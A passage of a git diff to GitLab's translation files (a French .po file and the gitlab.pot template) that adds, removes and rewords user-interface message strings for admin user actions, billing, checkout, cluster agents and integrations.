msgid "mrWidget|Plain diff"
msgstr "Diff simple"
@@ -39159,8 +38994,8 @@ msgstr "La branche source HEAD a changé récemment. Veuillez recharger la page
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
-msgstr "La branche source est à %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} de la branche cible"
+msgid "mrWidget|The source branch is %{link} the target branch"
+msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/gitlab.pot b/locale/gitlab.pot
index feb3d972d2a..8e1502bce6f 100644
--- a/locale/gitlab.pot
+++ b/locale/gitlab.pot
@@ -77,6 +77,9 @@ msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr ""
+msgid " reacted with :%{name}:"
+msgstr ""
+
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
@@ -159,11 +162,21 @@ msgid_plural "%d comments on this commit"
msgstr[0] ""
msgstr[1] ""
+msgid "%d commenter"
+msgid_plural "%d commenters"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d commit"
msgid_plural "%d commits"
msgstr[0] ""
msgstr[1] ""
+msgid "%d commit author"
+msgid_plural "%d commit authors"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d commit behind"
msgid_plural "%d commits behind"
msgstr[0] ""
@@ -267,11 +280,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -479,6 +487,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -609,6 +622,9 @@ msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{italic_start}What's new%{italic_end} is inactive and cannot be viewed."
+msgstr ""
+
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
@@ -681,7 +697,7 @@ msgstr ""
msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
-msgid "%{listToShow}, and %{awardsListLength} more."
+msgid "%{listToShow}, and %{awardsListLength} more"
msgstr ""
msgid "%{location} is missing required keys: %{keys}"
@@ -699,9 +715,6 @@ msgstr ""
msgid "%{message} showing first %{warnings_displayed}"
msgstr ""
-msgid "%{milestone_name} (Past due)"
-msgstr ""
-
msgid "%{milestone} (expired)"
msgstr ""
@@ -714,10 +727,10 @@ msgstr ""
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
-msgid "%{name_with_link} has %{percent} or less Shared Runner Pipeline minutes remaining. Once it runs out, no new jobs or pipelines in its projects will run."
+msgid "%{name_with_link} namespace has %{percent} or less Shared Runner Pipeline minutes remaining. Once it runs out, no new jobs or pipelines in its projects will run."
msgstr ""
-msgid "%{name_with_link} has run out of Shared Runner Pipeline minutes so no new jobs or pipelines in its projects will run."
+msgid "%{name_with_link} namespace has run out of Shared Runner Pipeline minutes. No new jobs or pipelines in its projects will run."
msgstr ""
msgid "%{name} %{status}"
@@ -741,10 +754,10 @@ msgstr ""
msgid "%{name}'s avatar"
msgstr ""
-msgid "%{name}(%{url}) has %{percent} or less Shared Runner Pipeline minutes remaining. Once it runs out, no new jobs or pipelines in its projects will run."
+msgid "%{name}(%{url}) namespace has %{percent} or less Shared Runner Pipeline minutes remaining. After it runs out, no new jobs or pipelines in its projects will run."
msgstr ""
-msgid "%{name}(%{url}) has run out of Shared Runner Pipeline minutes so no new jobs or pipelines in its projects will run."
+msgid "%{name}(%{url}) namespace has run out of Shared Runner Pipeline minutes so no new jobs or pipelines in its projects will run."
msgstr ""
msgid "%{name}, confirm your email address now!"
@@ -836,6 +849,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -969,9 +985,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1002,6 +1015,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1085,6 +1101,9 @@ msgstr ""
msgid "(deleted)"
msgstr ""
+msgid "(expired)"
+msgstr ""
+
msgid "(leave blank if you don't want to change it)"
msgstr ""
@@ -1211,6 +1230,11 @@ msgid_plural "%d days remaining"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day selected"
+msgid_plural "%d days selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1381,18 +1405,12 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
-msgid "A banned user cannot:"
-msgstr ""
-
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
msgid "A basic template for developing Linux programs using Kotlin Native"
msgstr ""
-msgid "A blocked user cannot:"
-msgstr ""
-
msgid "A complete DevOps platform"
msgstr ""
@@ -1435,12 +1453,6 @@ msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
msgstr ""
-msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
-msgstr ""
-
-msgid "A merge request approval is required when the license compliance report contains a denied license."
-msgstr ""
-
msgid "A merge request hasn't yet been merged"
msgstr ""
@@ -1684,7 +1696,7 @@ msgstr ""
msgid "Acceptable for use in this project"
msgstr ""
-msgid "Access Git repositories"
+msgid "Access Git repositories or the API."
msgstr ""
msgid "Access Tokens"
@@ -1921,6 +1933,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1999,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2038,6 +2056,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add project"
+msgstr ""
+
msgid "Add projects"
msgstr ""
@@ -2158,6 +2179,15 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Additional text for the sign-in and Help page."
+msgstr ""
+
+msgid "Additional text to show on the Help page"
+msgstr ""
+
+msgid "Additional text to show on the sign-in page"
+msgstr ""
+
msgid "Address"
msgstr ""
@@ -2329,7 +2359,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2350,6 +2380,9 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
+msgid "AdminSettings|If not specified at the group or instance level, the default is %{default_initial_branch_name}. Does not affect existing repositories."
+msgstr ""
+
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2377,6 +2410,9 @@ msgstr ""
msgid "AdminSettings|Select a CI/CD template"
msgstr ""
+msgid "AdminSettings|Select a group to use as the source for instance-level project templates."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -2392,9 +2428,15 @@ msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
+msgid "AdminSettings|The default name for the initial branch of new repositories created in the instance."
+msgstr ""
+
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
+msgid "AdminSettings|The projects in this group can be selected as templates for new projects created on the instance. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
@@ -2467,9 +2509,6 @@ msgstr ""
msgid "AdminUsers|Activate"
msgstr ""
-msgid "AdminUsers|Activate user"
-msgstr ""
-
msgid "AdminUsers|Activate user %{username}?"
msgstr ""
@@ -2491,21 +2530,15 @@ msgstr ""
msgid "AdminUsers|Approve"
msgstr ""
-msgid "AdminUsers|Approve user"
+msgid "AdminUsers|Approve user %{username}?"
msgstr ""
msgid "AdminUsers|Approved users can:"
msgstr ""
-msgid "AdminUsers|Are you sure?"
-msgstr ""
-
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
-msgid "AdminUsers|Ban"
-msgstr ""
-
msgid "AdminUsers|Ban user"
msgstr ""
@@ -2515,18 +2548,12 @@ msgstr ""
msgid "AdminUsers|Banned"
msgstr ""
-msgid "AdminUsers|Banning the user has the following effects:"
-msgstr ""
-
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
msgid "AdminUsers|Block"
msgstr ""
-msgid "AdminUsers|Block this user"
-msgstr ""
-
msgid "AdminUsers|Block user"
msgstr ""
@@ -2539,6 +2566,12 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Can't access Git repositories."
+msgstr ""
+
+msgid "AdminUsers|Can't log in."
+msgstr ""
+
msgid "AdminUsers|Cannot sign in or access instance information"
msgstr ""
@@ -2548,13 +2581,16 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
-msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgid "AdminUsers|Confirm user"
msgstr ""
-msgid "AdminUsers|Deactivate"
+msgid "AdminUsers|Confirm user %{username}?"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
+msgid "AdminUsers|Deactivate"
msgstr ""
msgid "AdminUsers|Deactivate user %{username}?"
@@ -2644,7 +2680,7 @@ msgstr ""
msgid "AdminUsers|Reject"
msgstr ""
-msgid "AdminUsers|Reject request"
+msgid "AdminUsers|Reject user %{username}?"
msgstr ""
msgid "AdminUsers|Rejected users:"
@@ -2680,43 +2716,31 @@ msgstr ""
msgid "AdminUsers|The user will not receive any notifications"
msgstr ""
-msgid "AdminUsers|This user has requested access"
-msgstr ""
-
msgid "AdminUsers|To confirm, type %{projectName}"
msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
-msgid "AdminUsers|Unban"
-msgstr ""
-
-msgid "AdminUsers|Unban %{username}?"
-msgstr ""
-
msgid "AdminUsers|Unban user"
msgstr ""
-msgid "AdminUsers|Unblock"
+msgid "AdminUsers|Unban user %{username}?"
msgstr ""
-msgid "AdminUsers|Unblock user"
+msgid "AdminUsers|Unblock"
msgstr ""
msgid "AdminUsers|Unblock user %{username}?"
msgstr ""
-msgid "AdminUsers|Unlock"
-msgstr ""
-
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
-msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgid "AdminUsers|User administration"
msgstr ""
-msgid "AdminUsers|User will be blocked"
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
msgstr ""
msgid "AdminUsers|User will not be able to access git repositories"
@@ -2743,6 +2767,9 @@ msgstr ""
msgid "AdminUsers|What does this mean?"
msgstr ""
+msgid "AdminUsers|When banned, users:"
+msgstr ""
+
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
@@ -2758,9 +2785,6 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
-msgid "AdminUsers|You ban their account in the future if necessary."
-msgstr ""
-
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2773,6 +2797,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
msgstr ""
@@ -2806,13 +2833,16 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
-msgid "Admin|Learn more about quarterly reconcilliation"
+msgid "Admin|Learn more about quarterly reconciliation"
msgstr ""
msgid "Admin|Note"
msgstr ""
-msgid "Admin|Quarterly reconcilliation will occur on %{qrtlyDate}"
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
msgstr ""
msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
@@ -3294,6 +3324,9 @@ msgstr ""
msgid "Allow owners to manually add users outside of LDAP"
msgstr ""
+msgid "Allow project maintainers to configure repository mirroring"
+msgstr ""
+
msgid "Allow projects and subgroups to override the group setting"
msgstr ""
@@ -3309,9 +3342,6 @@ msgstr ""
msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
msgstr ""
-msgid "Allow repository mirroring to be configured by project maintainers"
-msgstr ""
-
msgid "Allow requests to the local network from hooks and services."
msgstr ""
@@ -3390,7 +3420,7 @@ msgstr ""
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
-msgid "Alternate support URL for help page and help dropdown"
+msgid "Alternate support URL for Help page and Help dropdown"
msgstr ""
msgid "Alternatively, you can convert your account to a managed account by the %{group_name} group."
@@ -3402,9 +3432,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3621,6 +3648,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3780,6 +3810,9 @@ msgstr ""
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
+msgid "An error occurred while uploading the image. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3819,6 +3852,9 @@ msgstr ""
msgid "An unexpected error occurred while communicating with the Web Terminal."
msgstr ""
+msgid "An unexpected error occurred while loading the code quality diff."
+msgstr ""
+
msgid "An unexpected error occurred while starting the Web Terminal."
msgstr ""
@@ -4530,6 +4566,9 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
+msgid "At least one field of %{one_of_required_fields} must be present"
+msgstr ""
+
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -5105,6 +5144,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5247,6 +5289,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5256,6 +5301,9 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
+msgid "Boards|An error occurred while fetching issues. Please reload the page."
+msgstr ""
+
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -5306,6 +5354,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5336,12 +5387,21 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
+msgid "Board|Load more epics"
+msgstr ""
+
msgid "Board|Load more issues"
msgstr ""
+msgid "Board|Loading epics"
+msgstr ""
+
msgid "Bold text"
msgstr ""
@@ -5558,6 +5618,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5576,6 +5639,9 @@ msgstr ""
msgid "BulkImport|Existing groups"
msgstr ""
+msgid "BulkImport|Filter by source group"
+msgstr ""
+
msgid "BulkImport|From source group"
msgstr ""
@@ -5657,9 +5723,6 @@ msgstr ""
msgid "Buy CI Minutes"
msgstr ""
-msgid "Buy License"
-msgstr ""
-
msgid "Buy more Pipeline minutes"
msgstr ""
@@ -5717,6 +5780,9 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
+msgid "CI/CD|No projects have been added to the scope"
+msgstr ""
+
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
@@ -5752,6 +5818,9 @@ msgstr ""
msgid "CICD|Add a %{kubernetes_cluster_link_start}Kubernetes cluster integration%{link_end} with a domain, or create an AUTO_DEVOPS_PLATFORM_TARGET CI variable."
msgstr ""
+msgid "CICD|Add an existing project to the scope"
+msgstr ""
+
msgid "CICD|Auto DevOps"
msgstr ""
@@ -5776,6 +5845,12 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
+msgid "CICD|Limit CI_JOB_TOKEN access"
+msgstr ""
+
+msgid "CICD|Select projects that can be accessed by API requests authenticated with this project's CI_JOB_TOKEN CI/CD variable."
+msgstr ""
+
msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
@@ -5830,6 +5905,27 @@ msgstr ""
msgid "Callback URL"
msgstr ""
+msgid "Campfire room ID (optional)"
+msgstr ""
+
+msgid "Campfire subdomain (optional)"
+msgstr ""
+
+msgid "Campfire token"
+msgstr ""
+
+msgid "CampfireService|API authentication token from Campfire."
+msgstr ""
+
+msgid "CampfireService|From the end of the room URL."
+msgstr ""
+
+msgid "CampfireService|Send notifications about push events to Campfire chat rooms. %{docs_link}"
+msgstr ""
+
+msgid "CampfireService|The %{code_open}.campfirenow.com%{code_close} subdomain."
+msgstr ""
+
msgid "Can be manually deployed to"
msgstr ""
@@ -5950,9 +6046,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6052,6 +6145,9 @@ msgstr ""
msgid "Change label"
msgstr ""
+msgid "Change made by"
+msgstr ""
+
msgid "Change milestone"
msgstr ""
@@ -6151,12 +6247,6 @@ msgstr ""
msgid "Changes"
msgstr ""
-msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
-msgstr ""
-
-msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
-msgstr ""
-
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -6250,6 +6340,9 @@ msgstr ""
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
+msgid "Check your Kubernetes cluster images for known vulnerabilities."
+msgstr ""
+
msgid "Check your source instance permissions."
msgstr ""
@@ -6274,27 +6367,48 @@ msgstr ""
msgid "Checkout"
msgstr ""
+msgid "Checkout|$%{selectedPlanPrice} per pack per year"
+msgstr ""
+
msgid "Checkout|$%{selectedPlanPrice} per user per year"
msgstr ""
msgid "Checkout|%{cardType} ending in %{lastFourDigits}"
msgstr ""
+msgid "Checkout|%{name}'s CI minutes"
+msgstr ""
+
msgid "Checkout|%{name}'s GitLab subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minute packs"
+msgstr ""
+
msgid "Checkout|%{selectedPlanText} plan"
msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
+msgid "Checkout|%{totalCiMinutes} CI minutes"
+msgstr ""
+
msgid "Checkout|(x%{numberOfUsers})"
msgstr ""
+msgid "Checkout|(x%{quantity})"
+msgstr ""
+
msgid "Checkout|Billing address"
msgstr ""
+msgid "Checkout|CI minute packs"
+msgstr ""
+
+msgid "Checkout|CI minute packs are only used after you've used your subscription's monthly quota. The additional minutes will roll over month to month and are valid for one year."
+msgstr ""
+
msgid "Checkout|Checkout"
msgstr ""
@@ -6343,6 +6457,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6373,6 +6490,9 @@ msgstr ""
msgid "Checkout|Please select a state"
msgstr ""
+msgid "Checkout|Purchase details"
+msgstr ""
+
msgid "Checkout|Select"
msgstr ""
@@ -6397,6 +6517,9 @@ msgstr ""
msgid "Checkout|Total"
msgstr ""
+msgid "Checkout|Total minutes: %{quantity}"
+msgstr ""
+
msgid "Checkout|Users"
msgstr ""
@@ -6415,6 +6538,9 @@ msgstr ""
msgid "Checkout|company or team"
msgstr ""
+msgid "Checkout|x 1,000 minutes per pack = %{strong}"
+msgstr ""
+
msgid "Cherry-pick this commit"
msgstr ""
@@ -6724,6 +6850,12 @@ msgstr ""
msgid "Click to expand text"
msgstr ""
+msgid "Click to hide"
+msgstr ""
+
+msgid "Click to reveal"
+msgstr ""
+
msgid "Client authentication certificate"
msgstr ""
@@ -6844,15 +6976,24 @@ msgstr ""
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Alternative installation methods"
+msgstr ""
+
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your agent"
msgstr ""
+msgid "ClusterAgents|An unknown error occurred. Please try again."
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Copy token"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6865,6 +7006,15 @@ msgstr ""
msgid "ClusterAgents|Description"
msgstr ""
+msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgstr ""
+
+msgid "ClusterAgents|Go to the repository"
+msgstr ""
+
+msgid "ClusterAgents|Install new Agent"
+msgstr ""
+
msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
msgstr ""
@@ -6886,15 +7036,48 @@ msgstr ""
msgid "ClusterAgents|Never"
msgstr ""
+msgid "ClusterAgents|Read more about getting started"
+msgstr ""
+
+msgid "ClusterAgents|Recommended installation method"
+msgstr ""
+
+msgid "ClusterAgents|Registering Agent"
+msgstr ""
+
+msgid "ClusterAgents|Registration token"
+msgstr ""
+
+msgid "ClusterAgents|Select an Agent"
+msgstr ""
+
+msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgstr ""
+
+msgid "ClusterAgents|Select which Agent you want to install"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgstr ""
+
+msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgstr ""
+
+msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
+msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgstr ""
+
msgid "ClusterAgents|Unknown user"
msgstr ""
@@ -6904,9 +7087,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6919,21 +7099,9 @@ msgstr ""
msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6967,12 +7135,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7006,9 +7168,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7027,15 +7186,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7057,9 +7207,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7099,15 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7156,12 +7294,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
